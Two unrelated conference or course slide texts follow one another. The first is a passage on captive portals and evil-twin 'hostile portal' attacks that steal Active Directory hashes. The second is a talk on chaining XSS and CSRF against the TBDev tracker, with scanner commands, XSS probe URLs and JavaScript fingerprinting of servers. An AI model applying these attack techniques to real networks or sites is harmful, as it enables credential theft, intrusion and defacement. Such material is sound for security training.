using iptables iptables --table nat --append PREROUTING --protocol udp - -destination-port 53 --jump REDIRECT --to-port 53 Second problem: DNS caching Captive portal will fail until entries in cache expire Hacky workaround: redirect HTTP(S) using iptables root@localhost:~# iptables --table nat --append PREROUTING --protocol tcp - -destination-port 80 --jump REDIRECT --to-port 80 root@localhost:~# iptables --table nat --append PREROUTING --protocol tcp - -destination-port 443 --jump REDIRECT --to-port 443 Lab 7: Configuring Linux As A Captive Portal Hostile Portal Attacks Steal Active Directory creds from wireless network without network access. Redirect to SMB § The idea is to force the victim to visit an HTTP endpoint that redirects to a non-existent SMB share, triggering LLMNR/NBT-NS § Fast way to get hashes § Requires social engineering Hostile Portal Attack § Based on Redirect to SMB Attack § Victim forced to connect to AP using evil twin attack § All HTTP(S) traffic is redirected to a non-existent SMB share instead of a captive portal attack, triggering LLMNR/NBT-NS Wireless Theory: Hostile Portal Attacks Consider the following scenario: § We have breached a wireless network that is used to provide access to sensitive internal network resources Wireless Theory: Hostile Portal Attacks Network architecture: § We have been placed in a quarantine VLAN by a NAC system § Sensitive resources on restricted VLAN, cannot be accessed from quarantine VLAN Indirect Wireless Pivots Use Evil Twin attacks to bypass port-based access control mechanisms Lab 8: Hostile Portal Attacks and Indirect Wireless Pivots
pdf
CSRF Bouncing By Michael Brooks What? This is an advanced talk on exploit chaning and CSRF. This will detail the process I used for finding and writing an exploit chain against a real world application. This will also discuess using JavaScript to locate targets to attack. Prerequsite You must already know how to exploit Cross Site Scripting and Cross Site Request Forgeries. How Session IDs are used. The Same Origin Policy. Usual CSRF Most CSRF makes use of Existing Functionatliy. An Example is my exploit to change the system's root password using cPanel WebHost Manager v3.1.0 (2008) Got root? Usual CSRF How I Sea-Surfed on the Motorola Surfboard Cable Modem: Restores factory default which will DoS the modem for ”5-30 minuets” Surface Area and CSRF Large parts of a Web Application can exist in a Password Protected area. This password protected area can and will suffer from vulnerabilities. XSS SQL Injection By sending malformed requests with CSRF its possible to gain access to new attack surfaces. Thoughts of Devlopers Why spend time validating the input of someone I trust? A password is required, that should be enough to keep out an attacker! Thoughts of Hackers Why should I look for a flaw that I can't exploit? Thoughts of Users Baa Baa Discovery First Steps Pre-Scan Wapiti Results The Application We will be hacking TBDev which is a Popular Private Torrent tracker software. These communities are secretive because they are breaking the law. If they get hacked, they can't go to the authorities. War Room I do all of my auditing in a Virtual Machine. I do not expose my work station to attack If I damage the machine with a test I can easily use a copy. Run multiple copies of a VM and tests at the same time. First Steps Install TBDev. Create an administrative account Make sure display_errors=On in your php.ini . Wapiti reads error messages for the discovery of some flaws. (Not XSS) Attack Spider I used the web application Attack Spider Wapiti: http://wapiti.sourceforge.net/ But you can use your favorite tool if you wish. Wapiti Useing Wapiti's getcookie.py Immortal Sessions If we use getcookie.py again we will see that we receave the same session id with the name ”pass”. This is an indecation that this application might be using Immortal Sessions. Further Verifcation can be obtained by searching for the session id in the database or examining the code. The cookie is a Satled MD5 hash of the password. WHY MD5!? Stop using a broken message digest! The SHA-2 family is secure! (for now). NEVER spill a password hash to the user! Session ID's should be random numbers, not a message digest! Don't let that Hex confuse you! Pre-Scan Before we scan we have to take into consideration that the scan might break. In most applications we want to avoid logging out. This application uses immortal session Ids so logout.php is purely cosmetic. If we change the password it will change the session ID, so we need to avoid my.php Wapiti Scan `python wapiti.py http://10.1.1.193/Audits/tbdev- 01-01-08 -c tbdev.cook -x http://10.1.1.193/Audits/tbdev-01-01-08/my.php` -c tbdev.cook uses the cookie file we created with getcookie.py The -x statement will avoid changing the password. Results XSS (url) in http://10.1.1.193/Audit/tbdev-01-01- 08/redir.php Evil url: http://10.1.1.193/Audit/tbdev-01-01- 08/redir.php?url=<script>var+wapiti_687474703a2 2f31302e312e312e3139392f41756469742f7462646 5762d30312d30312d30382f72656469722e706870_ 75726c=new+Boolean();</script> Found XSS in http://10.1.1.193/Audit/tbdev-01-01- 08/news.php?action=add with params = body=%3Cscript%3Evar+wapiti_687474703a2f2f3 302e312e312e3139392f41756469742f74626465762 d30312d30312d30382f6e6577732e7068703f616374 696f6e3d616464_626f6479%3Dnew+Boolean%28 %29%3B%3C%2Fscript%3E coming from http://10.1.1.193/Audit/tbdev-01-01- 08/news.php Stored XSS on index.php! Found permanent XSS in http://10.1.1.193/Audit/tbdev-01-01-08/ attacked by http://10.1.1.193/Audit/tbdev-01-01- 08/news.php?action=add with field body Analyzing the Results Juding from the scan results alone we know the Stored XSS flaw is CSRF. This is because we see that the only paramater used is ”body”. Easy to test by replaying the request. Tamper Data The Tamper Data plugin for firefox allows you to replay and modify requests as well. CSRF->XSS The CSRF flaw gives us the ability put a news posting on index.php. An attacker could say something as simple as "0wn3d". However, the news post does not defend against XSS. Should have used htmlspecialchars() Encoding TBDev is calling addslashes() each time we make a request. This will malform our attack if we try to use quote marks. I wrote a function to encode a string as CSV ASCII Then I use the JavaScript function: String.fromCharCode() to decode. Putting it all together We really want to hit that stored XSS. In order to do this we to trick the administrator into executing JavaScript which will send the forged request. The solution is a mix of Reflective XSS and Social Engineering. Reflective XSS->CSRF->Stored XSS Exploitation In order to get to the Admin we need a user account You could try singing up for one, however signups maybe closed. From our scan we know redir.php has a Reflective XSS flaw. If you can trick a user of the system to click on a link to redir.php then you can hijack their Session ID. Contacting the Admin Once we have user level access we can then identify the Admin with ease. The admin will have the id of 1. This also is true for many other SQL powered applications. This URL may have the admin's email address, but you can also send a Personal Message. http://10.1.1.193/userdetails.php?id=1 Demonstration Now I will show you my exploit code and use it to deface a default TBDev install. Defence Limiting the access of the administrator account is a good idea. What if the administrator account was hijacked by other means? This is why chroot is used in the *nix world. Use CSRF protection throughout the entire application, epically in the administrative area. CSRFGuard Defence Cont. An attacker must be able to see the application to attack it with CSRF. This is why CSRF a popular attack against Google. For the majority of Google applications the source is not available, so black box attacks like CSRF are easier to find. The Path If the attacker needs to know the path in order to forge the request. What if we try and fool the attacker by chaning the path Same Orgin Polcy and CSRF The same orgin policy is very important on the internet today. If JavaScript could read someone else's page, the script could then read the token used to protect against CSRF. Bending the rules. Both Spi Dynamics (Now apart of HP) and GNUCitizen have written their own javascript port scanners. http://www.gnucitizen.org/projects/javascript-port- scanner/ How the JS Scanners work. JavaScript is using onLoad(), onError() as well as timing to identify http servers anywhere. Timing attacks are used in Cryptography as well as Blind SQL Injection. Unfortunately this timing attack is very inaccurate for detecting web servers in the real world. Fingerprinting Webservers in JS This method works very well in the real world. If you know the locaiton of an image on the remote server then Javascript can read the dimensions. SPI Dynamic's scanner3.js line 40: this.signatures = [ ["/pagerror.gif", [36, 48], "Microsoft IIS"],["/icons/c.gif", [20, 22], "Apache"]]; Fingerprinting Network Hardware Very Easy to make a Fingerprint! A new signature can be created by finding a picture on the device and adding it to scanner3.js Examples: ["/images/paypal.gif",[62,31],"DD-WRT" ] ["/logo.gif",[91,37],"Motorola Surfbord" ] Easy to Fool Put an image that is 62 by 31 pixels in /images/paypal.gif and the scanner will think you are a DD-WRT . but the scanner will know you exist! Scanner Results 10.1.1.13 is running DD-WRT! 10.1.1.195 is running PHP! The scanner did not find 10.1.1.193, and the rest are false postives. Demonstration I will not build a fingerprint for a piece of network hardware. This will take about two minuts to fingerprint and scan. Limitations on Fingerpriting MUST have access to an Image! For instance D-Link routers prompt the user for authentication before allowing access. PHP Fingerprinting What if there was a magic GET request that would cause all PHP files to throw back an IMAGE? PHP's Images ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 Live Examples All of these sites have a /index.php file. http://digg.com/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 http://defcon.com/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 http://blackhat.com/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 Blackhat.com says: ”file does not exist”. You shouldn't have reacted blackhat, because now I know your running PHP! Impact Using JavaScript within the current limitations of the Same Orgin Policy it is possilbe to force a web browser into finding HTTP servers and enumerating the directory structure of PHP applications. CSRF? Using this fingerprinting method an exploit can precisely locate where to send a CSRF attack. An attacker can potentially make a large number of guesses of where to send CSRF attacks. 0-Day I will release an 0-day exploit at this time in the talk I will also provide a Virtual Machine connected to the network and allow everyone in the audience to use my exploit. Questions?
pdf